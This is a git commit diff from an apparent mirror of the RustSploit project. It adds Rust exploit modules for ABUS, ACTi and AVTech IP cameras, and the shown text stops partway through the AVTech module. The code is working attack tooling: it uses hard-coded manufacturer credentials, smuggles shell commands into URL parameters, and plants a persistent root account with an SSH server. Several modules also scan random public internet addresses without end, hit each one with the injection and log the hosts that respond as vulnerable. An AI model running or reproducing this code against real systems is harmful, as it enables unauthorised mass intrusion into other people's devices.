mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1 @@
|
||||
pub mod wpair;
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,371 @@
|
||||
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - LFI, RCE and SSH Root Access
|
||||
// CVE: CVE-2023-26609
|
||||
// Author: d1g@segfault.net | Ported to Rust for RustSploit
|
||||
// PoC converted 1:1 from Bash to async Rust logic
|
||||
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use md5;
|
||||
use rand::Rng;
|
||||
use reqwest::Client;
|
||||
use std::net::{IpAddr, Ipv4Addr};
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
|
||||
use std::time::Duration;
|
||||
use std::io::{self, Write};
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::sync::mpsc;
|
||||
use tokio::fs::OpenOptions;
|
||||
use chrono::Local;
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const MASS_SCAN_CONCURRENCY: usize = 100;
|
||||
const MASS_SCAN_PORT: u16 = 80;
|
||||
|
||||
// Bogon/Private/Reserved exclusion ranges
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
|
||||
];
|
||||
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
enum ScanMode {
|
||||
StandardCheck,
|
||||
CustomCommand,
|
||||
}
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// Send authenticated LFI request
|
||||
async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()> {
|
||||
let host = normalize_target(target)?;
|
||||
let url = format!(
|
||||
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
|
||||
host, filepath
|
||||
);
|
||||
println!("{}", format!("[*] Sending LFI request to: {}", url).cyan());
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
if status.is_success() {
|
||||
println!("{}", format!("[+] Status: {}", status).green());
|
||||
println!("{}", "[+] Body:".green());
|
||||
println!("{}", body);
|
||||
} else {
|
||||
println!("{}", format!("[-] Status: {}", status).red());
|
||||
println!("{}", format!("[-] Body:\n{}", body).red());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send authenticated RCE request with command injection
|
||||
async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
|
||||
let host = normalize_target(target)?;
|
||||
let url = format!(
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
|
||||
host, cmd
|
||||
);
|
||||
println!("{}", format!("[*] Sending RCE request to: {}", url).cyan());
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
if status.is_success() {
|
||||
println!("{}", format!("[+] Status: {}", status).green());
|
||||
println!("{}", "[+] Body:".green());
|
||||
println!("{}", body);
|
||||
} else {
|
||||
println!("{}", format!("[-] Status: {}", status).red());
|
||||
println!("{}", format!("[-] Body:\n{}", body).red());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Stage 1: Generate SSH key
|
||||
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
|
||||
println!("{}", "[*] Stage 1: Generating SSH key on target...".yellow());
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// Stage 2: Inject a root user with an MD5-hashed password
|
||||
async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> {
|
||||
// Compute lowercase-hex MD5 of the provided password
|
||||
let hash = format!("{:x}", md5::compute(password));
|
||||
println!("{}", format!("[*] MD5 hash of password: {}", hash).cyan());
|
||||
|
||||
// Build the echo command to append to /etc/passwd
|
||||
let cmd = format!(
|
||||
"echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
|
||||
hash
|
||||
);
|
||||
println!("{}", "[*] Stage 2: Injecting root user into /etc/passwd...".yellow());
|
||||
exploit_rce(client, target, &cmd).await
|
||||
}
|
||||
|
||||
/// Stage 3: Start Dropbear SSH server
|
||||
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
|
||||
println!("{}", "[*] Stage 3: Starting Dropbear SSH server...".yellow());
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
/// Combined SSH persistence exploit
|
||||
async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Result<()> {
|
||||
generate_ssh_key(client, target).await?;
|
||||
inject_root_user(client, target, password).await?;
|
||||
start_dropbear(client, target).await?;
|
||||
println!("{}", "[+] Persistence complete! You can now SSH in with:".green().bold());
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\\n -oHostKeyAlgorithms=+ssh-rsa d1g@{}",
|
||||
password, target
|
||||
).cyan()
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ABUS Security Camera TVIP 20000-21150 Exploit ║".cyan());
|
||||
println!("{}", "║ CVE-2023-26609 - LFI, RCE and SSH Root Access ║".cyan());
|
||||
println!("{}", "║ Variant 1 - Multi-mode (LFI/RCE/Persistence) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// Prompt user for mode, and dispatch accordingly
|
||||
/// Prompt user for mode, and dispatch accordingly
|
||||
async fn execute(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
println!("{}", "[*] Exploit mode selection:".cyan().bold());
|
||||
println!(" {} LFI (Local File Inclusion)", "[1]".green());
|
||||
println!(" {} RCE (Remote Code Execution)", "[2]".green());
|
||||
println!(" {} SSH Persistence (Full Compromise)", "[3]".green());
|
||||
print!("{}", "> ".cyan().bold());
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
|
||||
let mut choice = String::new();
|
||||
io::stdin().read_line(&mut choice).context("Failed to read choice")?;
|
||||
match choice.trim() {
|
||||
"1" => {
|
||||
print!("{}", "Enter file path to read (e.g. /etc/passwd): ".cyan().bold());
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut fp = String::new();
|
||||
io::stdin().read_line(&mut fp).context("Failed to read file path")?;
|
||||
exploit_lfi(&client, target, fp.trim()).await?;
|
||||
}
|
||||
"2" => {
|
||||
print!("{}", "Enter command to execute (e.g. id): ".cyan().bold());
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut cmd = String::new();
|
||||
io::stdin().read_line(&mut cmd).context("Failed to read command")?;
|
||||
exploit_rce(&client, target, cmd.trim()).await?;
|
||||
}
|
||||
"3" => {
|
||||
// Ask for the desired password, hash it, and persist
|
||||
print!("{}", "Enter desired password for new root user: ".cyan().bold());
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
let mut pwd = String::new();
|
||||
io::stdin().read_line(&mut pwd).context("Failed to read password")?;
|
||||
let pwd = pwd.trim();
|
||||
if pwd.is_empty() {
|
||||
return Err(anyhow!("Password cannot be empty"));
|
||||
}
|
||||
persist_root_shell(&client, target, pwd).await?;
|
||||
}
|
||||
_ => {
|
||||
println!("{}", "[-] Invalid choice".red());
|
||||
return Err(anyhow!("Invalid choice"));
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Quick vulnerability check for mass scanning (no honeypot detection)
|
||||
async fn quick_check(client: &Client, ip: &str, mode: ScanMode, custom_cmd: &str) -> bool {
|
||||
let host = format!("{}:{}", ip, MASS_SCAN_PORT);
|
||||
let cmd = if let ScanMode::CustomCommand = mode { custom_cmd } else { "id" };
|
||||
|
||||
let url = format!(
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
|
||||
host, cmd
|
||||
);
|
||||
|
||||
match tokio::time::timeout(
|
||||
Duration::from_secs(5),
|
||||
client.get(&url).send()
|
||||
).await {
|
||||
Ok(Ok(resp)) => resp.status().is_success(),
|
||||
_ => false,
|
||||
}
|
||||
}
|
||||
|
||||
/// Mass scan mode - infinite random IP scanning
|
||||
async fn run_mass_scan() -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
|
||||
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
|
||||
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
|
||||
|
||||
// Prompt for exclusions (FIRST)
|
||||
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
|
||||
io::stdout().flush()?;
|
||||
let mut excl_choice = String::new();
|
||||
io::stdin().read_line(&mut excl_choice)?;
|
||||
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
|
||||
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
// Prompt for Output File
|
||||
print!("{}", "[?] Output File (default: abus_hits.txt): ".cyan());
|
||||
io::stdout().flush()?;
|
||||
let mut outfile = String::new();
|
||||
io::stdin().read_line(&mut outfile)?;
|
||||
let outfile = outfile.trim();
|
||||
let outfile = if outfile.is_empty() { "abus_hits.txt" } else { outfile };
|
||||
let outfile = outfile.to_string();
|
||||
|
||||
// Prompt for Payload Mode
|
||||
println!("{}", "[?] Select Payload Mode:".cyan());
|
||||
println!(" 1. Standard Check (Command: id)");
|
||||
println!(" 2. Custom Command");
|
||||
print!("{}", "Select option [1-2] (default 1): ".cyan());
|
||||
io::stdout().flush()?;
|
||||
let mut mode_str = String::new();
|
||||
io::stdin().read_line(&mut mode_str)?;
|
||||
let mode = match mode_str.trim() {
|
||||
"2" => ScanMode::CustomCommand,
|
||||
_ => ScanMode::StandardCheck,
|
||||
};
|
||||
|
||||
let mut custom_cmd = String::new();
|
||||
if let ScanMode::CustomCommand = mode {
|
||||
print!("{}", "[?] Enter Custom Command: ".cyan());
|
||||
io::stdout().flush()?;
|
||||
std::io::stdin().read_line(&mut custom_cmd)?;
|
||||
custom_cmd = custom_cmd.trim().to_string();
|
||||
}
|
||||
let custom_cmd = Arc::new(custom_cmd);
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
let client = Arc::new(client);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
let found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
// Result writer channel
|
||||
let (tx, mut rx) = mpsc::unbounded_channel::<String>();
|
||||
let outfile_clone = outfile.clone();
|
||||
tokio::spawn(async move {
|
||||
let file_result = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(&*outfile_clone)
|
||||
.await;
|
||||
|
||||
let mut file = match file_result {
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
eprintln!("[-] Failed to open output file: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
while let Some(result) = rx.recv().await {
|
||||
let _ = file.write_all(result.as_bytes()).await;
|
||||
}
|
||||
});
|
||||
|
||||
// Stats reporter
|
||||
let c = checked.clone();
|
||||
let f = found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
println!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
|
||||
}
|
||||
});
|
||||
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let cl = client.clone();
|
||||
let chk = checked.clone();
|
||||
let fnd = found.clone();
|
||||
let tx = tx.clone();
|
||||
let cc = custom_cmd.clone();
|
||||
let current_mode = mode;
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
if quick_check(&cl, &ip_str, current_mode, &cc).await {
|
||||
println!("{}", format!("[+] VULNERABLE: {}", ip_str).green().bold());
|
||||
fnd.fetch_add(1, Ordering::Relaxed);
|
||||
|
||||
let timestamp = Local::now().format("%Y-%m-%d %H:%M:%S").to_string();
|
||||
let log_entry = format!("{} - {}\n", ip_str, timestamp);
|
||||
let _ = tx.send(log_entry);
|
||||
}
|
||||
|
||||
chk.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// Entry point for the RustSploit dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
|
||||
run_mass_scan().await
|
||||
} else {
|
||||
execute(target).await
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,2 @@
|
||||
pub mod abussecurity_camera_cve202326609variant1;
|
||||
|
||||
@@ -0,0 +1,293 @@
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use std::io::Write;
|
||||
use reqwest::Client;
|
||||
use std::time::Duration;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::sync::mpsc;
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use ipnetwork::IpNetwork;
|
||||
use std::net::{IpAddr, Ipv4Addr};
|
||||
use rand::Rng;
|
||||
use chrono::Local;
|
||||
use crate::utils::{prompt_default, prompt_yes_no, prompt_port};
|
||||
|
||||
|
||||
|
||||
/// Executes an RCE on ACTi ACM-5611 Video Camera using command injection
|
||||
/// Reference:
|
||||
/// - https://www.exploitalert.com/view-details.html?id=34128
|
||||
/// - https://packetstormsecurity.com/files/154626/ACTi-ACM-5611-Video-Camera-Remote-Command-Execution.html
|
||||
|
||||
/// Exploit authors:
|
||||
/// - Todor Donev <todor.donev@gmail.com>
|
||||
/// - GH0st3rs (RouterSploit module)
|
||||
|
||||
const DEFAULT_PORT: u16 = 8080;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const MASS_SCAN_CONCURRENCY: usize = 100;
|
||||
|
||||
// Bogon/Private/Reserved exclusion ranges
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
|
||||
];
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ACTi ACM-5611 Video Camera RCE Exploit ║".cyan());
|
||||
println!("{}", "║ Command Injection via /cgi-bin/test ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
async fn run_mass_scan() -> Result<()> {
|
||||
display_banner();
|
||||
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0 (Random Internet Scan)".yellow().bold());
|
||||
|
||||
let port = prompt_port("Target Port", 8080)?;
|
||||
|
||||
let use_exclusions = prompt_yes_no("[?] Exclude reserved/private ranges?", true)?;
|
||||
let mut exclusions = Vec::new();
|
||||
if use_exclusions {
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusions.push(net);
|
||||
}
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusions);
|
||||
|
||||
let outfile = prompt_default("[?] Output File", "acti_rce_hits.txt")?;
|
||||
let outfile = Arc::new(outfile);
|
||||
|
||||
let threads = prompt_default("[?] Concurrency (IPs)", &MASS_SCAN_CONCURRENCY.to_string())?
|
||||
.parse().unwrap_or(MASS_SCAN_CONCURRENCY);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(threads));
|
||||
let checked = Arc::new(AtomicUsize::new(0));
|
||||
let found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let (tx, mut rx) = mpsc::unbounded_channel::<String>();
|
||||
|
||||
let outfile_clone = outfile.clone();
|
||||
tokio::spawn(async move {
|
||||
let file_result = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(&*outfile_clone)
|
||||
.await;
|
||||
|
||||
let mut file = match file_result {
|
||||
Ok(f) => f,
|
||||
Err(e) => {
|
||||
eprintln!("[-] Failed to open output file: {}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
while let Some(result) = rx.recv().await {
|
||||
let _ = file.write_all(result.as_bytes()).await;
|
||||
}
|
||||
});
|
||||
|
||||
let c = checked.clone();
|
||||
let f = found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(10)).await;
|
||||
println!("[*] Checked: {} | Found: {}", c.load(Ordering::Relaxed), f.load(Ordering::Relaxed));
|
||||
}
|
||||
});
|
||||
|
||||
println!("{}", "[*] Starting infinite mass scan... Press Ctrl+C to stop.".cyan());
|
||||
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let chk = checked.clone();
|
||||
let fnd = found.clone();
|
||||
let tx = tx.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc).to_string();
|
||||
|
||||
if let Ok(true) = check(&ip, port).await {
|
||||
println!("{}", format!("[+] VULNERABLE: {}:{}", ip, port).green().bold());
|
||||
fnd.fetch_add(1, Ordering::Relaxed);
|
||||
let log_entry = format!("[{}] {}:{} - VULNERABLE\n", Local::now().format("%Y-%m-%d %H:%M:%S"), ip, port);
|
||||
let _ = tx.send(log_entry);
|
||||
}
|
||||
|
||||
chk.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
if target == "0.0.0.0" || target == "0.0.0.0/0" || target == "random" {
|
||||
return run_mass_scan().await;
|
||||
}
|
||||
|
||||
display_banner();
|
||||
|
||||
// Check for CIDR or Range
|
||||
let is_mass_scan = target.contains('/') || target.contains('-');
|
||||
|
||||
// Prompt for port globally
|
||||
let port = prompt_port("Target Port", DEFAULT_PORT)?;
|
||||
|
||||
if is_mass_scan {
|
||||
println!("{}", format!("[*] Mass Scan Mode: {}", target).yellow());
|
||||
|
||||
let ips: Vec<IpAddr> = if target.contains('/') {
|
||||
// CIDR
|
||||
let net: IpNetwork = target.parse().map_err(|_| anyhow!("Invalid CIDR"))?;
|
||||
net.iter().collect()
|
||||
} else {
|
||||
// Range (basic impl for dash)
|
||||
// For now, let's assume specific basic range or just use utils if available.
|
||||
// But since utils::expand might not be exposed, let's just stick to CIDR support for now
|
||||
// or simple parsing if the user provided a list.
|
||||
// Actually, let's use a simple heuristic: if it has -, try to parse start/end?
|
||||
// For robustness, let's assume CIDR only or single for now unless we implement range expander.
|
||||
// However, user asked for "mass scan", likely CIDR.
|
||||
|
||||
// Re-use logic from other modules?
|
||||
return Err(anyhow!("Only CIDR (e.g. 192.168.1.0/24) supported for mass scan currently."));
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Scanning {} targets...", ips.len()).cyan());
|
||||
|
||||
let concurrency = 50;
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let vulnerable_count = Arc::new(AtomicUsize::new(0));
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for ip in ips {
|
||||
let sem = semaphore.clone();
|
||||
let vc = vulnerable_count.clone();
|
||||
let ip_str = ip.to_string();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = match sem.acquire().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => return, // Semaphore closed, exit gracefully
|
||||
};
|
||||
if let Ok(true) = check(&ip_str, port).await {
|
||||
println!("{}", format!("[+] VULNERABLE: {}:{}", ip_str, port).green().bold());
|
||||
vc.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
drop(_permit);
|
||||
}));
|
||||
}
|
||||
|
||||
for t in tasks {
|
||||
let _ = t.await;
|
||||
}
|
||||
|
||||
println!("\n{}", format!("[*] Scan Complete. Found {} vulnerable targets.", vulnerable_count.load(Ordering::Relaxed)).green().bold());
|
||||
|
||||
} else {
|
||||
// Single Target Mode (Original Logic)
|
||||
println!("{}", format!("[*] Checking vulnerability on {}:{}...", target, port).yellow());
|
||||
|
||||
if check(target, port).await? {
|
||||
println!("{}", format!("[+] Target appears vulnerable: {}:{}", target, port).green().bold());
|
||||
|
||||
// Prompt for command to execute
|
||||
print!("{}", "Enter command to execute (default: id): ".cyan().bold());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut cmd_input = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut cmd_input)
|
||||
.context("Failed to read command input")?;
|
||||
let cmd = {
|
||||
let t = cmd_input.trim();
|
||||
if t.is_empty() { "id" } else { t }
|
||||
};
|
||||
|
||||
println!("{}", format!("[*] Executing command: {}", cmd).cyan());
|
||||
let output = execute(target, port, cmd).await?;
|
||||
println!("{}", format!("[+] Output:\n{}", output).green());
|
||||
} else {
|
||||
println!("{}", format!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port).red());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
|
||||
async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
|
||||
let url = format!("http://{}:{}/cgi-bin/test", target, port);
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()?;
|
||||
|
||||
let url = reqwest::Url::parse_with_params(&url, &[("iperf", format!(";{}", cmd))])?;
|
||||
|
||||
let res = client
|
||||
.get(url)
|
||||
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||
.header("Referer", format!("http://{}:{}", target, port))
|
||||
.send()
|
||||
.await?;
|
||||
|
||||
if res.status().is_success() {
|
||||
let text = res.text().await?;
|
||||
Ok(text)
|
||||
} else {
|
||||
Err(anyhow!("Command execution failed, status code: {}", res.status()))
|
||||
}
|
||||
}
|
||||
|
||||
/// Check if the target is running the vulnerable service
|
||||
async fn check(target: &str, port: u16) -> Result<bool> {
|
||||
let url = format!("http://{}:{}/cgi-bin/test", target, port);
|
||||
let index_url = format!("http://{}:{}/", target, port);
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()?;
|
||||
|
||||
// Check /cgi-bin/test
|
||||
let test_res = client.get(&url).send().await?;
|
||||
if test_res.status().is_success() {
|
||||
println!("{}", "[*] CGI endpoint accessible".cyan());
|
||||
// Check root page contains 'Web Configurator'
|
||||
let index_res = client.get(&index_url).send().await?;
|
||||
if index_res.status().is_success() {
|
||||
let body = index_res.text().await?;
|
||||
if body.contains("Web Configurator") {
|
||||
println!("{}", "[*] ACTi Web Configurator detected".cyan());
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod acm_5611_rce;
|
||||
@@ -0,0 +1,260 @@
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use rand::Rng;
|
||||
use reqwest::Client;
|
||||
use std::net::{IpAddr, Ipv4Addr};
|
||||
use std::path::Path;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use std::time::Duration;
|
||||
use std::io::Write;
|
||||
|
||||
use tokio::sync::Semaphore;
|
||||
use crate::utils::{escape_shell_command, normalize_target, prompt_port};
|
||||
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const MASS_SCAN_CONCURRENCY: usize = 100;
|
||||
const MASS_SCAN_PORT: u16 = 80;
|
||||
|
||||
// Bogon/Private/Reserved exclusion ranges
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32",
|
||||
];
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
if !exclusions.iter().any(|net| net.contains(ip_addr)) {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ AVTech Camera CVE-2024-7029 RCE Exploit ║".cyan());
|
||||
println!("{}", "║ Command Injection via brightness parameter ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
|
||||
|
||||
/// Check if the device is vulnerable to CVE-2024-7029
|
||||
async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
|
||||
println!("{}", "[*] Checking vulnerability...".cyan());
|
||||
let mut url = reqwest::Url::parse(base)?;
|
||||
url.set_path("/cgi-bin/supervisor/Factory.cgi");
|
||||
url.query_pairs_mut()
|
||||
.append_pair("action", "Set")
|
||||
.append_pair("brightness", "1;echo_CVE7029;");
|
||||
let resp = client.get(url).send().await?;
|
||||
let body = resp.text().await?;
|
||||
Ok(body.contains("echo_CVE7029"))
|
||||
}
|
||||
|
||||
/// Interactive shell to send arbitrary commands
|
||||
async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
|
||||
|
||||
let stdin = std::io::stdin();
|
||||
let mut line = String::new();
|
||||
|
||||
